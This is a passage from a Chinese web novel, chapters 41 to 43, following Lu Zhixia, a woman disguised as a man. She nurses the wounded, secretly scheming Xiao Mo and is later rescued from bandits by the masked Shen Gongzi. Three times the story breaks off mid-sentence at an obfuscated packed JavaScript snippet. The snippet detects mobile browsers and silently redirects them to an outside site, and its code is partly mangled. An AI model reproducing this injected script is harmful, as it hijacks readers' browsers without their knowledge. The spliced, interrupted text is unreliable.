“这两年我不在城里,他出事凭什么怪到我头上?”萧逸冷哼一声,戏谑道:“他跟她娘长得一副祸害样,说不定被谁看上拐跑了。要么便是惹了风流债被人上门寻仇,杀了喂狗。” “住口,你这个逆子!”萧城主双眼圆睁,呼吸急促,转眼咳嗽不止。想起萧陌那狠心的母亲,他心里便五味杂陈。 侍者赶紧端药上前。 萧城主服药后气顺了些,看着大儿子痛心道:“逸儿,陌儿如今是你唯一的弟弟,虽然你们同父异母,但终归都是萧家儿郎。他性子温和,从不与你争抢,你已兵权在握为何还老同他过不去?” “从不争抢是因为你把好的东西都留给他了,他不费吹灰之力就得到,还争什么争。”萧逸唇畔牵起一丝不屑,“至于你给我那点兵权,不过是让我替你们在外浴血奔波,好让你们安然留在城里共享天伦罢了。” “你在胡说什么!”萧城主眉头紧蹙。 萧逸这口气咽不下去,索性直白道:“我从小就清楚,父亲最爱的儿子一直是萧陌。你表面上给我兵权,但城主之位想暗暗留给他是不是?” “混账!”萧城主长叹一声,说道:“那些年你闯的祸都忘了?若不是我替你一一压下,如今你早已身败名裂,被百姓们的口水淹死了。我调你出城剿匪是给你立功雪耻的机会,可你倒好,暗中和土匪勾结,为非作歹,你以为我不知道?” 萧逸咬牙,“所以这次您让我回来是要找我算账?” “你……”萧城主气结,越来越不懂如何与这个儿子沟通。是不是在他眼里,父亲兄弟都是他的仇人? “其他事以后再说。”萧城主道:“这次怀疑你并非瞎猜。早上士兵在护城河里捞到一具刺客尸体,他身上有你府上的令牌,你如何解释?” 萧逸嗤笑,“这么明显的栽赃难道父亲看不出来?” 萧城主道:“是不是栽赃得详查。即日起你就留在城主府,待陌儿遇刺失踪一事查清再还你自由。” 萧逸心有不甘,“您居然为了一个庶子禁我的足,还说不是偏心?” “够了!”萧城主将手里的药碗摔在地上,“不用你一直提醒我陌儿的身份。庶子怎么了?庶子也是我的种。我警告你萧逸,你再胡作非为,休怪为父无情。” 萧逸双眼微眯,神情仍有不甘却不再出声。 萧城主唤来府兵将萧逸带下去。临走前还要收缴他的虎符。 萧逸干脆地从腰间取下虎符,随手一扔,头也不回地大步往外走。 侍者将地上的虎符捡起来擦干净,恭敬交给萧城主。 萧城主叹息。当初以为给萧逸兵权便能换萧陌余生平安顺遂,兄弟和睦。没想到最后一切还是老样子,甚至父子俩的隔阂越来越深。但愿这次彻底夺了萧逸兵权能给他长点教训。 41. 行善(下) 正午阳光耀眼,小院一片宁静祥和,空气里却飘着一股怪味。 陆知夏一个人在厨房里忙活,茶楼那边她暂时不用去,但昨晚捡回来的人却得亲自照顾。她手忙脚乱地将熬好的药倒进碗里,端着它往东屋走去。 东屋一室静谧,床上昏睡的人闻到窗外飘来的怪味眉眼微皱,缓缓张开眼睛。 周围一切事物陌生,萧陌抬手摸向腹部,伤口已包扎好,有人救了他。 他千算万算也没料到与刺客联手行刺自己的竟是身边人。所幸那一刀未中要害,但他低估了刺客的部署,混乱中他虽侥幸逃脱,却与侍卫走散。若非误打误撞被人救了,恐怕他早已失血过多而亡。 萧逸这回雇的江湖杀手果然不简单!萧陌判断,他那位心狠手辣的大哥已迫不及待要坐上城主之位。 门外传来脚步声。 萧陌侧头望去,一名清瘦的白衣男子端着盘子推门进来。二人视线相遇,萧陌认出此人正是昨晚替他赶走刺客的男子。唯一不同的是,他的胡子此刻端正贴在脸上,一眼看去毫无破绽。 “萧二公子,该喝药了。”陆知夏粗着嗓音道。 话音刚落,一碗浓黑药汁递到萧陌面前。他并不意外被人认出,却被面前这碗散发着古怪味道的药惊到了,迟迟不肯张口。 “这是昨晚大夫给你治伤后留下的药,有调理气血的功效。”陆知夏挠头,神情略显尴尬,“只是我煎药没什么经验,好像有一点点糊了。” 萧陌正犹豫要不要喝,对方直接抱起他的头,将多余的软枕垫在他脑后。 陆知夏舀起一勺药汁,吹凉后送到萧陌唇边。 萧陌见此人眼神清澈无邪,并未设防,缓缓张嘴。陆知夏将药汁小心送入萧陌口中,但萧陌只喝了半勺就吐了,五官皱成一团,不停咳嗽。 他还是大意了!嘴里的怪味经久不散,萧陌心想:这何止是糊了一点点,怕是整锅都糊了吧! “急什么,慢点喝。”陆知夏以为萧陌只是喝太快被呛到,接着又舀一勺送到他唇边。 萧陌盯着那勺药,唇角微抖,话都不敢说,生怕一张嘴这人就把药倒进他嘴里。 见萧陌紧抿着唇,眼神透着戒备,陆知夏终于有了一丝觉悟,“这药是不是很难喝?” 萧陌点头,直到对方把那碗骇人药汁放下才松了口气。 陆知夏给萧陌倒了一杯水漱口,满怀歉意道:“我从前没伺候过病人,也不太会熬药,回头我再重新给你熬。” 萧陌并未责怪陆知夏,反而耐心道:“熬药呢切忌不能一直用大火。药下锅后先用大火煮沸,再用小火慢慢熬约半个时辰就好。” 温润清朗的声音听起来很舒服。 陆知夏恍然,原来熬药也和炖汤一样讲究啊。她佩服地看着萧陌,想不到他一个贵族公子还懂这些琐事。 萧陌仔细打量面前这位举止有些冒失的白衣男子。他高冠束发,个子不高,身形清瘦,虽然刻意在脸上粘了假胡子,但眉眼秀气灵动,实际年纪应该更小一些。 萧陌微笑道:“多谢兄台相救,不知兄台如何称呼?” 萧陌柔暖的微笑令陆知夏心神微漾,她轻咳一声,平静道:“在下夏蝉。昨夜救公子不过是为了行善积德,公子不必记挂于心。” 昨夜一些细碎的记忆在萧陌脑海里浮现,他笑意更深,不再多言。 陆知夏见萧陌苏醒后精神不错,准备撵人。她讪笑道:“萧二公子,官兵正满城寻你,要不我送你回家吧。” 萧陌捂着腹部伤处,虚弱道:“可我这个样子走不了。” 陆知夏起身,“不要紧,我叫他们过来接你。” “不可。”萧陌慌忙扯住陆知夏衣袖,“这件事夏公子能不能替我保密?我暂时不想被任何人找到。” “这是为何?”陆知夏抱起手臂看着萧陌。若无特殊理由,过会儿她就把他撵出去。 萧陌神情黯然道:“昨日刺杀我的人是我大哥派来的。若我现在回去,他知道我没死一定不会善罢甘休。” 陆知夏沉默,看来萧家兄弟不和的传言是真的。她忽然联想到自己也有个冷酷无情的大哥,不禁对萧陌生出几分同情。 陆知夏想了想,提议道:“要不你直接去找萧城主,他不是很疼你吗?让他为你主持公道。” 萧陌苦笑摇头,“父亲心知我与大哥不和,但多年来都是睁一只眼闭一只眼。何况我只是个无权无势的庶子,大哥手握兵权,是未来的城主,我如何能与他抗衡?这次若不是我的侍卫拼死相护,恐怕我难逃一死。” “难道就任由他为所欲为吗?”陆知夏愤愤道。 萧陌感慨道:“自古生杀大权永远掌握在强者手里,而我不过是比普通人多了个萧家庶子的身份罢了。” 家家有本难念的经,权利争斗更是残酷无情。陆知夏对萧陌越发同情,拍着胸脯保证不会泄露他的行踪。 但保密和留他是两回事。陆知夏不死心,继续问道:“你有没有其他靠谱的朋友?我可以替你去向他们求助。” 萧陌摇头。 陆知夏发愁。 二人之间陷入一阵长久沉默。 萧陌知道对方不想惹麻烦,率先打破沉默,说道:“夏公子对我有恩,我不会让你为难,天黑我就离开。” 萧陌肯主动离开是好事,但陆知夏又有些过意不去,解释道:“寒舍简陋,在下也穷困潦倒,我是担心亏待公子。” 萧陌淡淡一笑,“无妨,我明白夏公子难处,绝无怨怼。” 陆知夏松了口气,这萧陌还挺识趣的。 一阵肚子叫响起。 萧陌赧然一笑,他受伤流血,加上长时间未曾进食,肚子早就饿了。 陆知夏回厨房端来一盅鸡汤,这可是她加了许多食材,精心熬煮一上午做好的。她盛了一碗坐在床前,用勺子喂萧陌。 鸡汤很香,但有了之前那碗药的阴影,萧陌先谨慎地尝了一点,感觉味道浓郁鲜美才放心地喝。陆知夏莞尔,耐心地一勺接一勺地喂他。 一盅鸡汤见底,肉也吃得干干净净,陆知夏暗暗感慨,昨夜那只鸡算是彻底为萧陌尽忠了。她用帕子为萧陌擦嘴,希望喝了鸡汤他赶紧恢复力气走人。 * 午后,陆知夏在院里晾衣服,东屋里忽然传来一声闷响,她有种不好的预感,放下手里的活儿赶紧跑过去。 推门进屋,陆知夏看到萧陌倒在床边,一手捂着小腹,另一只手撑着床沿想站起来,但尝试几次也没成功。 “谁让你擅自下床的?”陆知夏叹气。 萧陌道:“方才小睡片刻我感觉好多了,可惜一下床就……” 萧陌靠自己站不起来,陆知夏只好上前揽着他的腰,扶着他胳膊,将他架回床上。萧陌虚软得很,身子沉得像座小山,陆知夏站立不稳,二人一起摔倒在床上。 陆知夏趴在萧陌身上,手还揽着他的腰。萧陌的臂膀也圈着陆知夏娇小圆滑的肩,远看去二人姿势极尽暧昧。 陆知夏抬头,四目相对的瞬间她双颊如火烧一般滚烫。她挣开萧陌的怀抱坐起来,抬手扇风散热。 萧陌捂着腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083154|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部闷哼,额上布满细汗。摔倒两回,他的伤口裂开了。 陆知夏转头看到萧陌痛苦的神情和衣服上渗出的血,慌忙道:“你等一下,我去找李大夫过来。” “回来。”略带威严的声音叫住陆知夏。她回头,萧陌已将上衣解开,露出一片白皙结实的躯体。 陆知夏低头,心想这萧陌还真是不把她当外人。 萧陌道:“外边到处是官兵,此时找大夫上门容易引人怀疑,这点小伤我们自行处理便好。” “可我不会处理伤口。” “我会,但需要你帮忙。”萧陌让陆知夏把纱布和金疮药拿来。 陆知夏暗暗咬牙。男女授受不亲,她就是不想帮他才去找大夫的! 心里虽然抗拒,但陆知夏还是按萧陌的吩咐把东西拿来。她瞥了一眼他紧致小腹上的伤,脸又是一热,支吾道:“我晕血,要不你自己来吧。” “我躺着看不到伤口,你眯着眼睛按我的话做就好。”萧陌将金疮药塞进陆知夏手里。 陆知夏不好再推辞,只能硬着头皮来。 萧陌解开缠在腰上的绷带,伤口在他髋骨上两寸。陆知夏眯眼凑近,按他的指示用干净的布捂住那血淋淋的伤口止血。 她凑得很近,看到伤口的同时也一览萧陌精窄的腰身。等待的时间里她脸颊越来越热,心里默念:“罪过,罪过,我不是存心占你便宜的!” 所幸萧陌的伤口裂得不深,按压不久血就止住了。陆知夏又按他的指示往伤口撒金疮药,再小心翼翼缠上新绷带。 陆知夏全程眯眼,紧绷着身子任人使唤的样子像个提线木偶。萧陌眉眼间隐有笑意,觉得眼前这个不男不女的家伙忸怩起来的样子十分有趣。 “你做得很好。” 萧陌暖柔微含磁性的嗓音透着一丝蛊惑。陆知夏为他缠绷带的手一抖,指尖触到他细嫩的肌肤时一阵电流直通她心底。陆知夏的心忽然跳得很快,耳根也滚烫起来。 手里的绷带打好结,陆知夏嚯地起身走到一旁,长长舒了口气。明明不到一炷香的时辰,她却觉得无比漫长,手心后背都是汗。 “夏公子还好吧?”萧陌似笑非笑地看着床边背过身许久的人,慢慢将衣服穿好。 “没事。”陆知夏恢复镇定,回头收拾东西。 萧陌体虚无力今日怕是走不了。陆知夏决定好人做到底,让他多住几日,直到他能下地行走为止。 萧陌对陆知夏的好意表示感谢。但陆知夏有言在先,她可买不起名贵药材和补品给他调养。萧陌微微一笑,说他从来不吃那些东西。 陆知夏感到意外,他一个贵族公子怎会吃不起名贵补品? 二人随意闲聊。 相处半日,萧陌慢慢对这位眼神清澈无邪的夏蝉公子放下戒备。 “夏公子若不介意,往后咱们以兄弟相称如何?” 陆知夏摆手,“在下身份低微,可不敢同萧二公子称兄道弟。”她暂时留他是担心他没走远又倒下,到时候还得麻烦她扶他回来,可没想过和他攀交情。 萧陌笑道:“夏公子对我有恩,我不介意。况且如今我藏身于此,你总叫我萧二公子被邻居听见会召来麻烦。” 陆知夏没意见。萧陌比她大几岁,她直接喊他萧大哥。 萧陌温声答应,二人相视一笑。 从东屋出来后,陆知夏火速把院里所有女儿家的东西藏进自己房间。往后院里多住一人,而且是真正的男人,她得多加注意。 陆知夏正忙着收拾,檐上一道黑影趁她不注意潜入东屋。 42. 窘事 萧陌睡下不久察觉有人进屋,睁眼时一道黑影已来到床前。 黑衣侍卫循着萧陌沿途留下的记号来到此处,他跪于床前,垂首道:“惊飞没有保护好公子,害公子险些丧命,请公子责罚。” 萧陌道:“此次虽提前得到沈公子的消息,但谁也没料到萧逸还留了后招。那些江湖杀手训练有素,人数众多,非一般势力能镇压得了,这不怪你,快起来吧。” 惊飞过意不去,仍跪着不起。 “要我扶你?”萧陌掀开薄被。 惊飞嚯地从地上站起来,“公子有伤在身莫要乱动。” 萧陌看到惊飞脸上的伤痕,关心道:“你和流云都没事吧?” 惊飞摇头,被主子忽然关心脸上略显羞涩,“公子放心,我俩皮糙肉厚的,杀几个江湖小喽啰不成问题。” 萧陌莞尔,“若流云听到又该损你。” 惊飞想起正事,说道:“公子,住处沈公子已为您安排妥当,马车在外边候着,我们这就离开吧。” “不必麻烦。”萧陌道:“这座小院隐于纷杂民巷中,官兵和刺客不易寻来,主人也不错,我觉得在这里养伤挺好的。你回去代我谢过沈公子。” 惊飞环顾四周,这间屋子窄小,摆设陈旧,连他们私宅里仆役的住处都不如,公子竟然愿意待在这儿? “公子此举太过冒险,万一对面那个小子不靠谱,将您的行踪泄露出去怎么办?”惊飞仍是担忧。 “放心,他不会。”萧陌莞尔,脑海里浮现初见夏蝉时他脸上那抹歪斜的胡子。他们都有秘密,但夏蝉心思单纯,不喜沾染是非,相比城府极深且行踪诡秘的沈公子,他更放心待在这里养伤。 萧陌决定留下,惊飞也不好勉强。 遇刺一事过去将近一日,萧陌问道:“计划进展如何?城主知道此事作何反应?” 惊飞道:“计划进展顺利,只不过让部分杀手逃了,青和帮的人继续暗中追踪。今日大公子被城主缴了虎符并幽禁于府中,咱们的人开始夺回军中大权。” 萧陌唇角勾起一抹淡笑,眼神却透着阴冷,“这么明显的栽赃都能让父子俩反目,看来这些年我忍受的那些屈辱没有白费。若我再来一招更狠的,你说他们会不会打起来?” 惊飞道:“大公子所作所为不得人心,城主定不会把城主之位传给他。” “那可不一定。”萧陌若有所思。 接到下一步指示后,惊飞从窗户离开。 * 城中一处僻静宅子的门敞开着,一名青衣弟子立在阶上等候。不久,一辆马车缓缓驶来,派去接萧二公子的马车回来了,但下车的却只有他的侍从。 惊飞随青衣弟子入厅,拱手向正悠闲喝茶的沈公子传达萧陌的话。 冠冕堂皇的一番说辞沈公子不爱听,但得知萧陌现住在城西一处隐蔽民宅里却令他莫名担忧。 惊飞离开后,一名暗卫匆匆来向沈公子禀报:“帮主,昨夜萧二公子误入咱们‘棋子’的院里,至今仍未离开。” 沈公子重重放下手中茶盏,眼中透着戾气。世上真有这么巧的事? “那她是被绑了,还是受威胁了?”沈公子平静的语气里透着一丝担忧。 “都没有。”暗卫把陆知夏一天一夜热心照顾萧陌的事告诉沈公子。 沈公子周遭空气骤然变冷,咬牙道:“既然她没事,你同我说这些作甚?” 暗卫低头,紧张道:“萧二公子似要在小院长住,属下是来请示要不要对二人加强保护?” 听到“长住”二字沈公子已握紧拳头。之前对她的告诫,她是一点没往心里去,底细不明之人也敢往家里带! 良久,沈公子闭眼轻叹。罢了,她就是这样一个人,从未改变,是他变得太复杂了…… 曾经那些为她好的忠告何尝不是在扼杀她的天性,让她变成如他一般冷漠之人。他不敢想象她改变后的样子。到时候,她会不会也不再需要他? 沈公子对暗卫道:“命容堂主带人加强城南一带守护,两个人都给我看好了,绝对不能有任何闪失。” “是。”暗卫领命而去。 子夜,青莲堂高手尽出,成功截杀两批接近城西民巷的黑衣蒙面人。他们都是暗庄派来的杀手,只不过一批是来寻人,一批是来杀人。青和帮白日故意放出消息,没想到晚上鱼就上钩。好在青和帮与萧陌的人早已严密布防,干净利落地将他们一网绞杀,再秘密处理尸体。整个行动不惊动官府,不留一丝痕迹。 * 翌日午后。 陆知夏端着空碗欢欣雀跃地从东屋出来。今日她用心守在一旁煎的药半点没糊,萧陌夸她聪明,一点就通。 听邻居说城里已解除戒严,陆知夏回厨房收拾干净,趁着天光尚早出门一趟。 过几日她就要去茶楼抚琴,她担心以前学的那些曲子过时了,想去找找琴谱,搜罗一些时兴曲子来提前练一练。 路上人来人往,街市也恢复往日生机。陆知夏逛了几家书店和琴行,虽然找到了琴谱,但价钱太贵她舍不得买。最后她运气不错,在路边书摊淘到一本价钱实惠、曲目众多的琴谱。 买了琴谱她手头还宽裕,转身又去成衣铺。她不能老穿程老板屋里的衣服,萧陌先前那身带血的紫袍也按他的吩咐扔了,她给自己和萧陌各买了两套衣裳,背着个包袱高高兴兴往回走。 半道上,陆知夏迎面遇上神色忧虑的王掌柜。王掌柜冲上来将她打量一番,说道:“小夏,这几日官兵没上门找麻烦吧?方才我去小院找你,大门外落了锁,我生怕你出事。” 陆知夏道:“表姑放心,家里一切都好。下午闲来无事我到街上逛了逛,顺手买些东西。” 为了掩人耳目,陆知夏目前的身份是王掌柜的远房亲戚,称她为表姑。 王掌柜松了口气,提醒道:“最近城里不太平,你一个人住定要锁好门窗,不能随便让陌生人进屋。” 善意的提醒来得太迟,但陆知夏没把收留萧陌的事说出来。 王掌柜将手里一篮子鸡蛋交给陆知夏,说道:“明日我要去京城办事,不知何时回来,你要好好照顾自己。”言罢,她又塞了一袋银子给陆知夏,“这些银子你留着用,给自己买些好吃的,千万别饿着。” 陆知夏十分感激。但她已欠王掌柜许多,如今也找到了活儿,怎好意思再要她的银子。她将银子推回去,又把准备去茶楼弹琴的事告诉王掌柜。 王掌柜一开始有些担心,但得知她在余兴茶楼弹琴就放心了。她与那儿的孙掌柜有过生意上的往来,知道这人不错。而且茶楼环境清雅,鲜少有人闹事,琴师这活儿轻松又不用见客,陆知夏在那儿谋生再合适不过。 分别前,王掌柜拍着陆知夏的肩鼓励道:“好好干,若有人敢欺负你就来铺子找我,我的人会为你出头。” 陆知夏感激点头。这趟离忧城之行虽然孤独,但她也遇到了很多好人,还是挺幸运的。 二人分开后,陆知夏独自回小院。 天还未黑,她回房迫不及待翻看新买的琴谱。书摊的小贩说,这本琴谱收录的都是离忧城时兴的曲儿。 陆知夏翻开琴谱,扫了一眼密密麻麻的指法注解,边试着哼哼。这些琴曲调子活泼明快,隐有几分哀怨缠绵。陆知夏感慨,原来离忧城的人喜欢听这种风格的曲子啊。相比之下,她以前学的那些曲子太沉闷了,还好她提前准备了。 整本琴谱一共八首曲子,浏览一遍后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083155|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆知夏坐到琴案前试弹。 琴音明快,带着几分哀怨缠绵,悠悠传开。 东屋里,萧陌正闭目养神,闻得这阵琴音,眉头微皱,翻了个身把头蒙上。附近几户人家也骂骂咧咧地将自家窗子关上。 陆知夏专心坐在屋里弹琴,渐渐沉醉在这幽怨琴音中,充耳不闻窗外事。 * 天黑,陆知夏端着食物来东屋。 屋里一片昏暗,安静无声。她摸黑进屋点灯,端着食物来到床前。 萧陌闭着眼睛仍在休息,似乎并未察觉有人进屋。陆知夏站在床前,借着昏黄烛光仔细瞧那张曲线柔和的玉颜,渐渐失了神。 世上怎会有如此柔美却不失英气的男子? 陆知夏轻轻放下手里的东西,一手撑腮,倚在床边静静欣赏萧陌的睡颜,手不自觉伸向那英挺精巧的鼻梁。 萧二公子俊美无双,为人谦和,难怪能令全城年轻姑娘为之疯狂。 陆知夏不知不觉脸红,指尖触到萧陌鼻梁,他眼皮动了动,她惊慌收手,暗骂自己经不起诱惑。 “小夏,你来了。”萧陌缓缓睁眼。屋里点了灯,日子又平静过去一日。不知是不是受伤的缘故,最近他睡得格外沉。 陆知夏用软枕给他垫头,把食物端上前,“萧大哥,该吃晚饭了。”她夹了一个小包子给萧陌。最近她照顾人有了经验,将肉和菜剁碎做成包子不但味道可口,还方便他躺着自己吃。 萧陌接过包子,目光停留在她微红的指尖上,疑惑道:“下午是你在弹琴?” 陆知夏面露愧色,“是不是影响你休息?下次我弹轻一些。” “你……喜欢弹那些曲子?”萧陌看着陆知夏,神情欲言又止。 陆知夏从衣襟里掏出一本无名琴谱,笑道:“这是我刚买的琴谱,摊主说里面都是离忧城时兴的小曲,下午我弹的就是里边的曲子。怎么样,你正好是本地人,他说的是不是真的?” 萧陌忍不住轻笑,“他说的不全对。” “什么意思?”陆知夏看他又是一副欲言又止的表情,有种不好的预感。 萧陌好奇,“你为何对时兴的曲子感兴趣?” 陆知夏坦白:“我才来离忧城没几日,不久前在茶楼找了一份琴师的活儿。我想了解一下你们这儿的贵人平时喜欢听什么风格的曲子,街边摊主就推荐了这本琴谱,他说弹了一定满座叫好。” 萧陌了解情况后,正色道:“既然是在茶楼弹琴,我劝你还是把这本琴谱扔了。” “为什么?”陆知夏不解,这本琴谱是她花了二两银子买的,怎能说扔就扔。 萧陌不忍打击他,但又怕不说清楚他不肯罢手,索性挑明道:“因为这本琴谱上收录的皆是风月场上的艳曲。” “啪。” 陆知夏当场石化,手里琴谱掉在地上也毫无反应。 “小夏,你没事吧?”萧陌伸手在陆知夏眼前晃了晃。 陆知夏回过神,咬牙切齿道:“那个家伙居然敢骗我!”一想到自己认真弹了几个时辰的艳曲,一股强烈的羞耻感涌上心头,她恨不得即刻收拾包袱逃出城。 萧陌见陆知夏气得浑身发抖,目露凶光,安慰道:“没事的小夏,吃一堑长一智。这件小事大家很快就会淡忘,你也不必放在心上。” “不行,不能饶了那个坑人的家伙!”言罢,陆知夏拾起琴谱,杀气腾腾地冲出门。 萧陌好笑摇头,这个夏蝉看起来不好糊弄,但也不见得有多聪明。可跟他住在一起,他却觉得日子过得分外轻松。 陆知夏奔上街,杀气腾腾的模样吓得路人纷纷避让。她记得那个小贩的模样,待她逮住那厮定要将他骂得狗血淋头,再夺回她辛苦赚的银子。 43. 再遇 萧二公子遇刺一事还未有结果,近来离忧城宵禁得早,天黑后街市上已冷冷清清,路边小摊也散得差不多了。 找不到那个欠扁的小贩,陆知夏抱着手臂怒容满面地坐在街边石阶上,屁股下垫着的正是那本让她丢人的琴谱。今日找不到那人,往后不知能不能再遇上,她的二两银子就这么打水漂了。 街上人影来来往往,匆匆忙忙。陆知夏回过神时周围已灯火寥落,街道空空荡荡。她耷拉着脑袋起身往回走,忍不住长长叹息。即便救人积德,她的运气还是一样差。 接近宵禁时辰,家家关门闭户,通向城西的路上转眼只剩陆知夏一个人。 她加快步子往前走,对面忽然走来几个人,借着黯淡月光她发现是几个吊儿郎当的布衣男子,下意识往边上走。 几个男子也跟着她往边上走,陆知夏忽然有种不祥的预感,倒退几步,转身拔腿就跑。 “臭小子,站住!” 身后传来追赶声,陆知夏大惊,那些人果然是冲着她来的!她不敢回头,拼命往前跑。 前边巷子里蹿出几个高大男子,陆知夏停下寻找其他路,但两边都是房舍,没有其他的路可走。后面的人骂骂咧咧追上来,陆知夏被前后堵住。 “你,你们想做什么?”陆知夏看着两边摩拳擦掌走近的男子,热汗直下。他们神情不善,看样子想对她动手。 一名男子冷笑道:“小子,识相的赶紧把身上值钱的东西交出来,否则莫怪哥几个拳脚无眼。” 闻言,陆知夏愣住。离忧城治安不行啊,竟然有人敢当街打劫。 为了引来巡夜官兵,她大声道:“这是在城里,你们几个当街打劫不怕蹲大牢吗?信不信我大喊一声,你们全都被官兵拿下。” 话音刚落,两边的男子放声大笑,笑声比方才陆知夏说话的声音还大,且透着讽刺。陆知夏困惑,不安的感觉越来越强烈。 一名男子嚣张道:“你喊啊,一会儿等官兵来了看他们是抓你还是抓我们。” 看这些人的反应,陆知夏觉得他们并不惧怕官兵。但官贼本是天敌,她认为他们这么说定是在装模作样吓唬她。 “快把值钱的东西交出来。” “要钱还是要命,你自己选。” 这些恶霸气焰十分嚣张,但她陆知夏也不是好惹的! “我选你大爷。”她捞起袖子,挥手一拳朝笑得最欢的黑牙男子脸上招呼去。 “哎哟——” 黑牙男子翻倒在地,鼻血直流。周围男子怔了怔,似都没料到这个清瘦男子敢反抗。 “打死他!”黑牙男子指着陆知夏咆哮,其余男子齐齐挥拳朝陆知夏打来。 拳风呼呼作响,陆知夏一时冲动换来无数铁拳招呼。虽然她不至于被按在地上毒打,但也难以脱身,脸上和身上挨了不少拳脚。 立于檐上的黑影轻叹一声,淡淡的无奈融入夜色。扬手间,裹挟强劲内力的弯刀飞向下边一圈欺人的恶霸,血花飞溅中直取数人性命。 陆知夏抱头蹲在地上,看着身边陆续倒下被人一刀毙命的恶霸,惊恐望向檐上。 檐上暗影中跃下一道青绿身影,沈公子轻巧接住绕回的弯刀,稳稳落在陆知夏面前。 陆知夏指着从天而降的沈公子,艰难地咽了咽口水,“你,你,你杀人了。”她心想,离忧城里的恶霸和帮派头子平日都这么嚣张吗? “他们可不是一般的街霸。”沈公子声音微沉,对陆知夏的反应颇有几分不悦。他救了她,她倒怪他滥杀无辜? 沈公子用弯刀挑开地上一名男子的衣襟,露出此人胸口上的黑虎纹身,说道:“他们是杀人如麻的山匪,你招惹他们简直是找死。” 陆知夏恍然大悟,难怪这些人如此嚣张。她佩服地看着沈公子,不愧是混江湖的帮派头子,一眼就能看出这些人是山匪。 沈公子收刀,对发愣的陆知夏勾勾手指,“过来。” 陆知夏不动,方才他杀人的那招又快又吓人,再加上此刻他脸上这副银质面具散着森森白光,她有些怕他。 沈公子朝陆知夏走去,慑人的气势逼得陆知夏不自觉后退。 “小夏,入城才几日你就把恩人忘了?” 闻言,陆知夏停住脚步,摸了摸面上胡子,神情略显尴尬,“公子还记得我?” 沈公子瞥了一眼陆知夏脸上的胡子,唇角勾起一抹淡淡弧度,“我这人有过目不忘的本事,欠自己恩情的人更是记得一清二楚。” 既是如此陆知夏倒松了口气,方才她怕他不认得她,为了掩盖杀人之事将她灭口。 “方才多谢公子出手相救,我又欠你一个人情。”陆知夏暗暗在想日后该如何报答他,一双手忽然伸到她面前。沈公子用帕子拭去她唇边血渍,银质面具后一双黑眸满含关切。 陆知夏望着他,总觉得那双黑眸里的情绪过于复杂浓烈,不像看一个刚认识不久的人。 习武之人耳力也过人,沈公子听到远处有动静,拉着陆知夏往巷子里跑。才跑不远,沈公子察觉陆知夏跑得十分吃力,停下来问道:“你的腿怎么了?” “打架的时候崴了。”陆知夏话音刚落,沈公子背着她蹲下,说道:“上来,我背你。” “这样……不好吧。”陆知夏正犹豫,后边亮起火光,巡逻的官兵往他们这边来了。 沈公子催促,陆知夏伏上他的背,刚抓住他肩膀,腿上一紧,双脚悬空,她惊呼一声随他跃上屋檐。 沈公子个子高大,背着人在重重叠叠的屋檐间起落依旧身姿轻盈。陆知夏安稳伏在他背上,转头往下看。方才遇袭的地方此刻火光冲天,一部分官兵在搬运山匪的尸体,其他官兵拿着火把到附近追查可疑之人。 陆知夏舒了口气,还好他们走得快。 沈公子飞檐走壁,行动迅速,他们很快悄无声息地脱离险境。 到了安全的地方,沈公子将陆知夏放下,这里正好离陆知夏住的地方不远。 沈公子从怀里摸出一瓶伤药给陆知夏,说道:“回去上药后早些休息,以后莫要再同别人打架。” 陆知夏将药收好,小声嘀咕道:“我也不想的,是那些人来招惹我。” “他们只是向你索要财物,你把身上值钱的东西给他们不就没事了?”沈公子淡淡的语气里透着几分责备。 陆知夏撇撇嘴,“我辛苦赚的银子凭什么给他们?” 沈公子摇头叹息,“钱财是身外之物,为了区区一点银子把你的小命搭上多不划算。” 陆知夏不以为然,“他们顶多打我一顿,把钱抢去,应该不会要我的命。” “白挨一顿打你也愿意?”沈公子语气转冷,“若你缺银子就来我青和帮做事,我不会亏待你。如此你也不必处处省吃俭用,为了几两碎银连命也不要了。” 二人站在暗巷里,虽看不清彼此表情,但听语气陆知夏知道沈公子这话关怀多于责备。她终于意识到自己想法天真,垂头道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092553|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“公子教训得是,日后行事我一定多掂量。至于去青和帮……我现在家里有事,实在不方便。” 陆知夏已脱险,沈公子也不欲在此事上过多苛责她,平复情绪后问道:“入城多日住得可还习惯?” 陆知夏道:“离忧城繁华富庶,人也热情。近来我遇到很多像公子这样的大善人,他们帮我解决不少难题,我住得很习惯。” “我是大善人?”沈公子失笑,对陆知夏给予的评价颇感意外。曾经救她多次她从不感激,最近他不过顺手帮她几次她就感动了?这小没良心的,净知道占他便宜。 